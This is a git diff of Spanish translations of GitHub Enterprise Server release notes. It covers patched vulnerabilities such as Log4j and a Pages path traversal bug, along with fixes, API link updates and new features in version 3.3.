+    - '**CRÍTICA:** Una vulnerabilidad de ejecución de código remoto en la librería Log4j, identificada como [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3.1. La librería Log4j se utiliza en un servicio de código abierto que se ejecuta en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad se corrigió en las versiones 3.0.22, 3.1.14, 3.2.6 y 3.3.1 de {% data variables.product.prodname_ghe_server %}. Para obtener más información, por favor, consulta [esta publicación](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) en el Blog de GitHub.'
+    - '**Actualización del 17 de diciembre de 2021**: Las correcciones que se llevaron a cabo para este lanzamiento también mitigan el [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), el cual se publicó después de dicho lanzamiento. No se necesita ninguna actualización adicional en {% data variables.product.prodname_ghe_server %} para mitigar tanto al CVE-2021-44228 como al CVE-2021-45046.'
   known_issues:
     - El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes.
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml
index 9412b1008a..82b67e4216 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/8.yml
@@ -8,7 +8,7 @@ sections:
     - 'La memoria memcached asignada pudo haber sido cero en el modo de clústering. {% comment %} https://github.com/github/enterprise2/pull/26928, https://github.com/github/enterprise2/pull/26832 {% endcomment %}'
     - 'Los archivos binarios no vacíos mostraron un tipo y tamaño de archivo incorrectos en la pestaña "Archivos" de una solicitud de cambios. {% comment %} https://github.com/github/github/pull/192810, https://github.com/github/github/pull/172284, https://github.com/github/coding/issues/694 {% endcomment %}'
     - "Arregla compilaciones de las {% data variables.product.prodname_pages %} para que tomen en cuenta la configuración de NO_PROXY del aplicativo. Esto es relevante para los aplicativos configurados únicamente con un proxy HTTP. (actualización 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}\n \nsections -> bugs -> 2\nFile: 16.yml"
-    - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]'
+    - 'La configuración de GitHub Connect para la instancia origen siempre se restableció a las instancias nuevas, incluso cunado no se utilizó la opción `--config` para `ghe-restore`. Esto ocasionó un conflicto con la conexión de GitHub Connect y la sincronización de licencia si tanto la instancia de origen como la de destino estuvieron en línea al mismo tiempo. Este arreglo también requiere actualizar las utilidades de respaldo a la versión 3.2.0 o superior. [actualizado: 2021-11-18]'
   known_issues:
     - 'El registor de npm del {% data variables.product.prodname_registry %} ya no regresa un valor de tiempo en las respuestas de metadatos. Esto se hizo para permitir mejoras de rendimiento sustanciales. Seguimos teniendo todos los datos necesarios para devolver un valor de tiempo como parte de la respuesta de metadatos y terminaremos de devolver este valor ene l futuro una vez que hayamos resuelto los problemas de rendimiento existentes.'
     - 'En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml b/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml
index 53a14a783d..2a41bdb1d2 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-1/9.yml
@@ -14,7 +14,7 @@ sections:
     - 'The external database password was logged in plaintext. {% comment %} https://github.com/github/enterprise2/pull/27173, https://github.com/github/enterprise2/pull/26413 {% endcomment %}'
     - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}'
     - 'The "Import teams" button on the Teams page for an Organization returned an HTTP 404. {% comment %} https://github.com/github/github/pull/193302 {% endcomment %}'
-    - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194260, https://github.com/github/github/pull/193609 {% endcomment %}'
+    - 'En algunos casos, los Administradores de GitHub Enterprise que intentaron ver la página de `Usuarios inactivos` recibieron una respuesta de tipo `502 Bad Gateway` o `504 Gateway Timeout`. {% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}'
     - 'Performance was negatively impacted in certain high load situations as a result of the increased number of `SynchronizePullRequestJob` jobs. {% comment %} https://github.com/github/github/pull/195253, https://github.com/github/github/pull/194591 {% endcomment %}'
   changes:
     - 'More effectively delete Webhook logs that fall out of the Webhook log retention window. {% comment %} https://github.com/github/enterprise2/pull/27158 {% endcomment %}'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml
index 62d2d7a5ae..a59268d4f1 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/0-rc1.yml
@@ -244,10 +244,10 @@ sections:
     - heading: API Changes
       notes:
         # https://github.com/github/releases/issues/1253
-        - Pagination support has been added to the Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Repositories](/rest/reference/repos#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
+        - Pagination support has been added to the Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Commits](/rest/reference/commits#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
 
         # https://github.com/github/releases/issues/969
-        - The REST API can now be used to programmatically resend or check the status of webhooks. For more information, see "[Repositories](/rest/reference/repos#webhooks)," "[Organizations](/rest/reference/orgs#webhooks)," and "[Apps](/rest/reference/apps#webhooks)" in the REST API documentation.
+        - The REST API can now be used to programmatically resend or check the status of webhooks. For more information, see "[Webhooks](/rest/reference/webhooks)," "[Organizations](/rest/reference/orgs#webhooks)," and "[Apps](/rest/reference/apps#webhooks)" in the REST API documentation.
 
         # https://github.com/github/releases/issues/1349
         - |
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml
index b5f39207ee..dd9ef8063b 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/0.yml
@@ -246,7 +246,7 @@ sections:
     - heading: API Changes
       notes:
         # https://github.com/github/releases/issues/1253
-        - Pagination support has been added to the Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Repositories](/rest/reference/repos#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
+        - Pagination support has been added to the Repositories REST API's "compare two commits" endpoint, which returns a list of commits reachable from one commit or branch, but unreachable from another. The API can also now return the results for comparisons over 250 commits. For more information, see the "[Commits](/rest/reference/commits#compare-two-commits)" REST API documentation and "[Traversing with pagination](/rest/guides/traversing-with-pagination)."
 
         # https://github.com/github/releases/issues/969
         - The REST API can now be used to programmatically resend or check the status of webhooks. For more information, see "[Repositories](/rest/reference/repos#webhooks)," "[Organizations](/rest/reference/orgs#webhooks)," and "[Apps](/rest/reference/apps#webhooks)" in the REST API documentation.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml
index 42ee385880..45ff9d19bc 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/1.yml
@@ -13,7 +13,7 @@ sections:
     - 'La recuperación de fallos desde un centro de datos de un clúster primario hacia uno de un clúster secundario fue exitosa, pero recuperarse de los fallos nuevamente hacia el centro de datos del clúster primario original no pudo promover los índices de Elasticsearch. {% comment %} https://github.com/github/github/pull/193180, https://github.com/github/github/pull/192447 {% endcomment %}'
     - 'The "Import teams" button on the Teams page for an Organization returned an HTTP 404. {% comment %} https://github.com/github/github/pull/193303 {% endcomment %}'
     - 'Using the API to disable Secret Scanning correctly disabled the property but incorrectly returned an HTTP 422 and an error message. {% comment %} https://github.com/github/github/pull/193455, https://github.com/github/github/pull/192907 {% endcomment %}'
-    - 'In some cases, GitHub Enterprise Administrators attempting to view the `Dormant users` page received `502 Bad Gateway` or `504 Gateway Timeout` response. {% comment %} https://github.com/github/github/pull/194262, https://github.com/github/github/pull/193609 {% endcomment %}'
+    - 'En algunos casos, los Administradores de GitHub Enterprise que intentaron ver la página de `Usuarios inactivos` recibieron una respuesta de tipo `502 Bad Gateway` o `504 Gateway Timeout`. {% comment %} https://github.com/github/github/pull/194259, https://github.com/github/github/pull/193609 {% endcomment %}'
     - 'Performance was negatively impacted in certain high load situations as a result of the increased number of `SynchronizePullRequestJob` jobs. {% comment %} https://github.com/github/github/pull/195256, https://github.com/github/github/pull/194591 {% endcomment %}'
     - 'A user defined pattern created for Secret Scanning would continue getting scanned even after it was deleted. {% comment %} https://github.com/github/token-scanning-service/pull/1039, https://github.com/github/token-scanning-service/pull/822 {% endcomment %}'
   changes:
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/3.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/3.yml
index 70e7237d94..6e4f38da3d 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/3.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/3.yml
@@ -1,7 +1,7 @@
 date: '2021-11-09'
 sections:
   security_fixes:
-    - 'A path traversal vulnerability was identified in {% data variables.product.prodname_pages %} builds on {% data variables.product.prodname_ghe_server %} that could allow an attacker to read system files. To exploit this vulnerability, an attacker needed permission to create and build a {% data variables.product.prodname_pages %} site on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3, and was fixed in versions 3.0.19, 3.1.11, and 3.2.3. This vulnerability was reported through the {% data variables.product.company_short %} Bug Bounty program and has been assigned CVE-2021-22870.'
+    - 'Se identificó una vulnerabilidad de recorrido de ruta en las compilaciones de {% data variables.product.prodname_pages %} en {% data variables.product.prodname_ghe_server %}, la cual pudo haber permitido que un atacante leyera los archivos de sistema. Para explotar esta vulnerabilidad, el atacante necesitaría permiso para crear y compilar un sitio de {% data variables.product.prodname_pages %} en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3 y se corrigió en las versiones 3.0.19, 3.1.11 y 3.2.3. Esta vulnerabilidad se reportó a través del programa de Recompensas por Errores de {% data variables.product.company_short %} y se le asignó el identificador CVE-2021-22870.'
     - 'Los paquetes se actualizaron a las últimas versiones de seguridad.'
   bugs:
     - 'Some Git operations failed after upgrading a {% data variables.product.prodname_ghe_server %} 3.x cluster because of the HAProxy configuration.'
@@ -11,7 +11,7 @@ sections:
     - 'Upgrading from {% data variables.product.prodname_ghe_server %} 2.x to 3.x failed when there were UTF8 characters in an LDAP configuration.'
     - 'Some pages and Git-related background jobs might not run in cluster mode with certain cluster configurations.'
     - 'The documentation link for Server Statistics was broken.'
-    - 'When a new tag was created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload did not display a correct `head_commit` object. Now, when a new tag is created, the push webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload''s `after` commit.'
+    - 'Al crear una etiqueta nueva, la carga útil del webhook de [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) no mostró un objeto correcto de `head_commit`. Ahora, cuando se crea una etiqueta nueva, la carga útil del webhook de subida siempre incluye un objeto de `head_commit` que contiene los datos de la confirmación a la cual apunta dicha etiqueta nueva. Como resultado, el objeto `head_commit` siempre contendrá los datos de la confirmación `after` de la carga útil.'
     - 'The enterprise audit log page would not display audit events for {% data variables.product.prodname_secret_scanning %}.'
     - 'There was an insufficient job timeout for replica repairs.'
     - 'A repository''s releases page would return a 500 error when viewing releases.'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml
index 1a95886e35..4f1d11247c 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/4.yml
@@ -19,6 +19,7 @@ sections:
   changes:
     - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option.
     - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes.
+    - The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09]
   known_issues:
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
     - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-2/6.yml b/translations/es-ES/data/release-notes/enterprise-server/3-2/6.yml
index 287e5e86f6..cc2b49b0b3 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-2/6.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-2/6.yml
@@ -2,7 +2,8 @@
 date: '2021-12-13'
 sections:
   security_fixes:
-    - '**CRITICAL:** A remote code execution vulnerability in the Log4j library, identified as [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), affected all versions of {% data variables.product.prodname_ghe_server %} prior to 3.3.1. The Log4j library is used in an open source service running on the {% data variables.product.prodname_ghe_server %} instance. This vulnerability was fixed in {% data variables.product.prodname_ghe_server %} versions 3.0.22, 3.1.14, 3.2.6, and 3.3.1.  For more information, please see [this post](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) on the GitHub Blog.'
+    - '**CRÍTICA:** Una vulnerabilidad de ejecución de código remoto en la librería Log4j, identificada como [CVE-2021-44228](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228), afectó a todas las versiones de {% data variables.product.prodname_ghe_server %} anteriores a la 3.3.1. La librería Log4j se utiliza en un servicio de código abierto que se ejecuta en la instancia de {% data variables.product.prodname_ghe_server %}. Esta vulnerabilidad se corrigió en las versiones 3.0.22, 3.1.14, 3.2.6 y 3.3.1 de {% data variables.product.prodname_ghe_server %}. Para obtener más información, por favor, consulta [esta publicación](https://github.blog/2021-12-13-githubs-response-to-log4j-vulnerability-cve-2021-44228/) en el Blog de GitHub.'
+    - '**Actualización del 17 de diciembre de 2021**: Las correcciones que se llevaron a cabo para este lanzamiento también mitigan el [CVE-2021-45046](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046), el cual se publicó después de dicho lanzamiento. No se necesita ninguna actualización adicional en {% data variables.product.prodname_ghe_server %} para mitigar tanto al CVE-2021-44228 como al CVE-2021-45046.'
   known_issues:
     - En una instalación nueva de {% data variables.product.prodname_ghe_server %} que no tenga ningún usuario, cualquier atacante podría crear el primer usuario administrativo.
     - Las reglas de cortafuegos personalizadas se eliminan durante el proceso de actualización.
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml b/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml
index cf185c5c31..f5cef0e288 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-3/0-rc1.yml
@@ -1,28 +1,28 @@
 date: '2021-11-09'
 release_candidate: true
 deprecated: true
-intro: "{% note %}\n\n**Note:** If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments.\n\n{% endnote %}\n\nFor upgrade instructions, see \"[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server).\"\n"
+intro: "{% note %}\n\n**Nota:** Si {% data variables.product.product_location %} está ejecutando una comilación candidata a lanzamiento, no podrás mejorar la versión con un hotpatch. Te reocmendamos que solo ejecutes candidatos a lanzamiento en ambientes de prueba.\n\n{% endnote %}\n\nPara encontrar las instrucciones de mejora de versiones, consulta la sección \"[Mejorar la versión de {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)\".\n"
 sections:
   features:
     - heading: 'Security Manager role'
       notes:
-        - "Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The \"security manager\" role can be applied to any team and grants the team's members the following access:\n\n- Read access on all repositories in the organization.\n- Write access on all security alerts in the organization.\n- Access to the organization-level security tab.\n- Write access on security settings at the organization level.\n- Write access on security settings at the repository level.\n\nFor more information, see \"[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).\"\n"
+        - "Los propietarios de organizaciones ahora pueden otorgar a los equipos el acceso para administrar las alertas de seguridad y los ajustes en sus repositorios. El rol de \"Administrador de seguridad\" puede aplicarse a cualquier equipo y este otorgará a los miembros del equipo los siguientes accesos:\n\n- Acceso de lectura en todos los repositorios de la organización.\n- Acceso de escritura en todas las alertas de seguridad de la organización.\n- Acceso a la pestaña de seguridad a nivel de organización\n- Acceso de escritura en los ajustes de seguridad a nivel de organización.\n- Acceso de escritura en los ajustes de seguridad a nivel de repositorio.\n\nPara obtener más información, consulta la sección \"[Gestionar los administradores de seguridad en tu organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)\".\n"
     - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling'
       notes:
-        - "{% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier.\n\nEphemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.product.product_location %}, allowing you to perform any post-job management.\n\nYou can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests.\n\nFor more information, see \"[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)\" and \"[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job).\"\n"
+        - "{% data variables.product.prodname_actions %} es ahora compatible con ejecutores auto-hospedados (de job sencillo) efímeros y con un webhook de [`workflow_job`] nuevo (/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) para que el escalamiento automático de los ejecutores sea más fácil.\n\nLos ejecutores efímeros son buenos para los ambientes auto-administradores en donde se requiere que cada job se ejecute en una imagen limpia. Después de que se ejecuta un job, los ejecutores efímeros se dejan de registrar automáticamente desde {% data variables.product.product_location %}, lo cual te permite realizar cualquier administración posterior al job.\n\nPuedes combinar los ejecutores efímeros con el webhook nuevo de `workflow_job` para escalar automáticamente los ejecutores auto-hospedados en respuesta a las solicitudes de job de {% data variables.product.prodname_actions %}.\n\nPara obtener más información, consulta las secciones \"[Escalar automáticamente con ejecutores auto-hospedados]](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)\" y \"[Eventos y cargas útiles de webhooks](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)\".\n"
     - heading: 'Dark high contrast theme'
       notes:
-        - "A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes.\n\n![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)\n\nFor more information about changing your theme, see \"[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings).\"\n"
+        - "Ahora tenemos un tema de contraste alto en {% data variables.product.prodname_ghe_server %} 3.3, el cual tiene un contraste mayor entre los elementos de fondo y de frente. Este lanzamiento también incluye mejoras al sistema de color en todos los temas de {% data variables.product.company_short %}.\n\n![Imagen animada de cambiar entre el tema oscuro predeterminado y el de contraste alto en la página de ajustes de apariencia](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)\n\nPara obtener más información sobre cómo cambiar tu tema, consulta la sección \"[Administrar tus ajustes de tema](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)\".\n"
   changes:
     - heading: 'Cambios en la administración'
       notes:
         - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.'
-        - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."'
-        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."'
+        - '{% data variables.product.prodname_ghe_server %} 3.3 incluye el beta público de un caché de repositorio para equipos con distribución geográfica e infraestructura de IC. El caché de repositorio mantiene una copia de solo lectura para tus repositorios disponibles en puntos geográficos adicionales, lo cual previene que los clientes descarguen contenido duplicado de Git desde tu instancia primara. Para obtener más información, consulta la sección "[Acerca del caché de repositorios](/admin/enterprise-management/caching-repositories/about-repository-caching)".'
+        - '{% data variables.product.prodname_ghe_server %} 3.3 incluye mejoras al proceso de suplantación de identidad del usuario. Las sesiones de suplantación de identidad ahora requieren de una justificación para llevarlas a cabo, las acciones se registran en la bitácora de auditoría mientras las realiza el usuario que lleva a cabo la suplantación y el usuario cuya identidad se suplanta recibirá una notificación por correo electrónico de estos hechos, por parte de un administrador empresarial. Para obtener más información, consulta la sección "[Suplantar la identidad de un usuario](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)".'
         - 'A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity.'
     - heading: 'Cambios de Token'
       notes:
-        - "An expiration date can now be set for new and existing personal access tokens. Setting an expiration date on personal access tokens is highly recommended to prevent older tokens from leaking and compromising security. Token owners will receive an email when it's time to renew a token that's about to expire. Tokens that have expired can be regenerated, giving users a duplicate token with the same properties as the original.\n\nWhen using a personal access token with the {% data variables.product.company_short %} API, a new `GitHub-Authentication-Token-Expiration` header is included in the response, which indicates the token's expiration date. For more information, see \"[Creating a personal access token](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token).\"\n"
+        - "Ahora se puede agregar una fecha de vencimiento para los tokens de acceso personal nuevos y existentes. Se recomienda ampliamente configurar una fecha de vencimiento en los tokens de acceso personal para prevenir que filtren información y pongan en riesgo la seguridad. Los propietarios de los tokens recibirán un correo electrónico cuando sea momento de renovar aquellos que estén próximos a vencer. Los tokens que hayan vencido pueden regenerarse, lo cual otorga a los usuarios un token duplicado con las mismas propiedades que el original.\n\nCuando se utiliza un token de acceso personal con la API de {% data variables.product.company_short %}, se incluye en la respuesta un encabezado nuevo de `GitHub-Authentication-Token-Expiration`, el cual indica la fecha de vencimiento del mismo. Para obtener más información, consulta la sección \"[Crear un token de acceso personal](/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token)\".\n"
     - heading: 'Notifications changes'
       notes:
         - 'Notification emails from discussions now include `(Discussion #xx)` in the subject, so you can recognize and filter emails that reference discussions.'
@@ -33,52 +33,52 @@ sections:
         - 'When viewing a branch that has a corresponding open pull request, {% data variables.product.prodname_ghe_server %} now links directly to the pull request. Previously, there would be a prompt to contribute using branch comparison or to open a new pull request.'
         - 'You can now click a button to copy the full raw contents of a file to the clipboard. Previously, you would need to open the raw file, select all, and then copy. To copy the contents of a file, navigate to the file and click {% octicon "copy" aria-label="The copy icon" %} in the toolbar. Note that this feature is currently only available in some browsers.'
         - 'When creating a new release, you can now select or create the tag using a dropdown selector, rather than specifying the tag in a text field. For more information, see "[Managing releases in a repository](/repositories/releasing-projects-on-github/managing-releases-in-a-repository)."'
-        - 'A warning is now displayed when viewing a file that contains bidirectional Unicode text. Bidirectional Unicode text can be interpreted or compiled differently than it appears in a user interface. For example, hidden bidirectional Unicode characters can be used to swap segments of text in a file. For more information about replacing these characters, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).'
-        - 'You can now use `CITATION.cff` files to let others know how you would like them to cite your work. `CITATION.cff` files are plain text files with human- and machine-readable citation information. {% data variables.product.prodname_ghe_server %} parses this information into common citation formats such as [APA](https://apastyle.apa.org) and [BibTeX](https://en.wikipedia.org/wiki/BibTeX). For more information, see "[About CITATION files](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)."'
+        - 'Ahora se muestra una advertencia cuando visualizas un archivo que contenga texto bidireccional en Unicode. El texto bidireccional en Unicode puede interpretarse o compilarse de forma diferente a la que aparece en una interfaz de usuario. Por ejemplo, los caracteres bidireccionales en Unicode pueden utilizarse para intercambiar segmentos de texto en un archivo. Para obtener más información sobre cómo reemplazar estos caracteres, consulta la [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-10-31-warning-about-bidirectional-unicode-text/).'
+        - 'Ahora puedes utilizar los archivos de `CITATION.cff` para que otros sepan cómo te gustaría citar tu trabajo. Los archivos de `CITATION.cff` son archivos de texto simple con información de citas legibles tanto para humanos como para máquinas. {% data variables.product.prodname_ghe_server %} interpreta esta información en formatos de cita comunes, tales como [APA](https://apastyle.apa.org) y [BibTeX](https://en.wikipedia.org/wiki/BibTeX). Para obtener más información, consulta la sección "[Acerca de los archivos de CITA](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-citation-files)".'
     - heading: 'Cambios en el Lenguaje de Marcado'
       notes:
-        - "You can use new keyboard shortcuts for quotes and lists in Markdown files, issues, pull requests, and comments.\n\n* To add quotes, use <kbd>cmd shift .</kbd> on Mac, or <kbd>ctrl shift .</kbd> on Windows and Linux.\n* To add an ordered list, use <kbd>cmd shift 7</kbd> on Mac, or <kbd>ctrl shift 7</kbd> on Windows and Linux.\n* To add an unordered list, use <kbd>cmd shift 8</kbd> on Mac, or <kbd>ctrl shift 8</kbd> on Windows and Linux.\n\nSee \"[Keyboard shortcuts](/get-started/using-github/keyboard-shortcuts)\" for a full list of available shortcuts.\n"
-        - 'You can now use footnote syntax in any Markdown field. Footnotes are displayed as superscript links that you can click to jump to the referenced information, which is displayed in a new section at the bottom of the document. For more information about the syntax, see "[Basic writing and formatting syntax](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)."'
+        - "Puedes utilizar atajos de teclado nuevos para las citas y listas en los archivos de lenguaje de marcado, propuestas, solicitudes de cambio y comentarios.\n\n*Para agregar citas, utiliza <kbd>cmd shift .</kbd> en Mac o <kbd>ctrl shift .</kbd> en Windows y Linux.\n*Para agregar una lista ordenada, utiliza <kbd>cmd shift 7</kbd> en Mac o <kbd>ctrl shift 7</kbd> en Windows y Linux.\n*Para agregar una lista desordenada, utiliza <kbd>cmd shift 8</kbd> en Mac o <kbd>ctrl shift 8</kbd> en Windows y Linux.\n\nConsulta los \"[Atajos de teclado](/get-started/using-github/keyboard-shortcuts)\" para ver una lista de los atajos disponibles.\n"
+        - 'Ahora puedes utilizar la sintaxis de notas al pie en cualquier campo de lenguaje de marcado. Las notas al pie se muestran como enlaces en superíndice, en los cuales puedes hacer clic para saltar a la información referenciada, la cual se muestra en una sección nueva en la parte inferior del documento. Para obtener más información sobre la sintaxis, consulta la sección "[Escritura y sintaxis de formato básicas](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#footnotes)".'
         - 'When viewing Markdown files, you can now click {% octicon "code" aria-label="The code icon" %} in the toolbar to view the source of a Markdown file. Previously, you needed to use the blame view to link to specific line numbers in the source of a Markdown file.'
